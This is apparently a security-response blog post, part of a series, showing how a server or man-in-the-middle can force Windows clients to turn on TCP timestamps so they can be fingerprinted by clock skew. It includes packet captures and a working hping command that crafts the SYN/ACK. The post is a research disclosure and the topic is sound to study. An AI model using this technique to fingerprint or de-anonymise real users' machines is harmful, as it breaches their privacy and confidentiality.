Video Screencast Help
Security Response

Tricks of the Semi-Passive Adversary – Part 2

Created: 31 Oct 2007 07:00:00 GMT • Updated: 23 Jan 2014 18:45:11 GMT
Erik Kamerling's picture
0 0 Votes
Login to vote

Welcome back. In my previous blog I was telling you about Kohno et al discovering how we can manipulate a Windows machine into starting to timestamp in the middleof a non-Tsopt enabled flow. If we have control of a machine that aWindows client connects to or we act in a man-in-the-middle (MiTM)capacity on a flow involving Windows hosts, we can perform a simpletrick. The “attacker” must actively modify a TCP SYN/ACK packet halfwaythrough the regular TCP handshake with a Windows host (server toclient) to incorrectly contain Tsval in violation of thetimestamp standard. If RFC 1323 guidance was adhered to in thissituation, a Windows system facing such an unexpected Tsopt in SYN/ACKwould not begin to timestamp its packets. However, it was discoveredthat if we introduce such a Tsopt-enabled SYN/ACK we can trick Windowssystems into beginning to timestamp further packets in theconversation. Waiting for ingress synchronization requests (SYNpackets) and then perturbing the normal configuration of TCP headers inthe conversation is what makes this a semi-passive attack. As opposedto passively measuring timestamp values in naturally occurring traffic,this attack requires an active manipulation of TCP options in thesession establishment routine.

A host (the semi-passive adversary) is not supposed to set timestampon a SYN/ACK packet when the initial incoming SYN carried no suchtimestamp option. Such behavior diverges from RFC 1323. Likewise, asystem that receives unexpected Tsopt data in a SYN/ACK response to aconnection that it initiated in the first place should not then beginto timestamp its TCP packets. As we see below, this is not the casewith Windows systems when responding to out-of-order Tsval options. Thesemi-passive adversary proceeds as follows:

In this scenario the attacker masquerades as an HTTP server. Theadversary is located at 10.10.10.6. The Windows machine is 10.10.10.4.

10.10.10.4 makes a request to the adversarial Web server. The TCP port pairings are 2573 and 80.

10.10.10.4 2573-->80 [SYN] Seq=2462637611 Ack=0 (notice no timestamp)

10.10.10.6 80-->2573 [SYN-ACK] Seq=1 Ack=2462637612 TSV=3962233894 TSER=0
(semi-passive adversary turns on timestamp on the SYN-ACK, violating RFC 1323)

10.10.10.4 2573-->80 [ACK] Seq=2462637612 Ack=2 TSV=846843 TSER=3962233894
(Windows system responds by starting to timestamp)

It is now possible for the Web server to make use of in-flow TCPtimestamp data for this Windows host. If the host is plottingclockskew, this could result in the de-anonymization, sourcecorrelation, or even identification in certain circumstances.

Here is a simplified capture of an attacker forcing a timestamp toactivate by manually crafting a SYN/ACK packet in response to aningress SYN intending to establish an HTTP connection.

No. Time Source Destination Protocol Info1 0.000000 10.10.10.4 10.10.10.6 TCP 2573 http [SYN] Seq=2462637611 Ack=0 Win=16384 Len=0 MSS=14602 2.922695 10.10.10.4 10.10.10.6 TCP 2573 http [SYN] Seq=2462637611 Ack=0 Win=16384 Len=0 MSS=14603 8.932076 10.10.10.4 10.10.10.6 TCP 2573 http [SYN] Seq=2462637611 Ack=0 Win=16384 Len=0 MSS=14604 15.136534 10.10.10.6 10.10.10.4 TCP http 2573 [SYN, ACK] Seq=1 Ack=2462637612 Win=512 Len=0 TSV=3962233894 TSER=05 15.138599 10.10.10.4 10.10.10.6 TCP 2573 http [ACK] Seq=2462637612 Ack=2 Win=16616 Len=0 TSV=846843 TSER=39622338946 15.140258 10.10.10.4 10.10.10.6 HTTP GET /HTTP/1.1

Note that three retransmitted SYNs came in before the attackercrafts the proper sequence number to ensure the packet is received insynchronization. Once the proper sequence number was returned on aSYN-ACK with TCP timestamp activated, the Windows machine startsstamping. It also continues to stamp through its subsequent HTTP GET(although not outlined in the simple capture above). It is apparentthat once Tsopt is forcibly activated for a given session with Windowsclients it persists for the lifetime of that session.

An attack of this style can easily be accomplished with a packetmanipulation tool like hping. The semi-passive attacker waits until theSYN comes in and records the sequence number. The attacker then encodesit into a SYN-ACK response, incrementing by one; additionally[--tcp-timestamp] is activated on this packet. Only one packet [-c 1]is sent in response to the ingress SYN:

[adversary]# /usr/sbin/hping 10.10.10.4 -SA -p 2573 -s 80 -M 1 -L2462637612 -c 1 --tcp-timestampHPING 10.10.10.4 (eth0 10.10.10.4): SA set, 40 headers + 0 data byteslen=52 ip=10.10.10.4 ttl=128 DF id=20272 sport=2573 flags=A seq=0 win=16616rtt=70.8 ms TCP timestamp: tcpts=846843

--- 10.10.10.4 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 70.8/70.8/70.8 ms
[adversary]#

Here is a dump of this hping-derived packet:

Transmission Control Protocol, Src Port: http (80), Dst Port: 2573 (2573),Seq: 1, Ack: 2462637612, Len: 0Source port: http (80)Destination port: 2573 (2573)Sequence number: 1Acknowledgement number: 2462637612Header length: 32 bytesFlags: 0x0012 (SYN, ACK)Window size: 512Checksum: 0x00f9 [correct]Options: (12 bytes)NOPNOPTime stamp: tsval 3962233894, tsecr 0

And here is the response from the Windows machine:

Transmission Control Protocol, Src Port: 2573 (2573), Dst Port: http (80),Seq: 2462637612, Ack: 2, Len: 0Source port: 2573 (2573)Destination port: http (80)Sequence number: 2462637612Acknowledgement number: 2Header length: 32 bytesFlags: 0x0010 (ACK)Window size: 16616Checksum: 0xd609 [correct]Options: (12 bytes)NOPNOPTime stamp: tsval 846843, tsecr 3962233894

Note a timestamp value and a timestamp echo reply is now present.

As we can see, it is trivial to activate timestamping on ingressconnections from Windows hosts that originally have no such intention.With this capability also comes the ability to perform any of theattacks outlined in the "Remote Physical Device Fingerprinting" paper.This poses a significant confidentiality threat to organizations thatdepend on the absolute anonymity of their internal client machines toaccomplish their missions.

Please join me back here on the Security Response Weblog in twodays’ time. I’ll wind this series up with some information on defenseand detection from these types of activities. Until then, please referback to my original blog on this topic and feel free to go over the“Remote physical device fingerprinting” paper.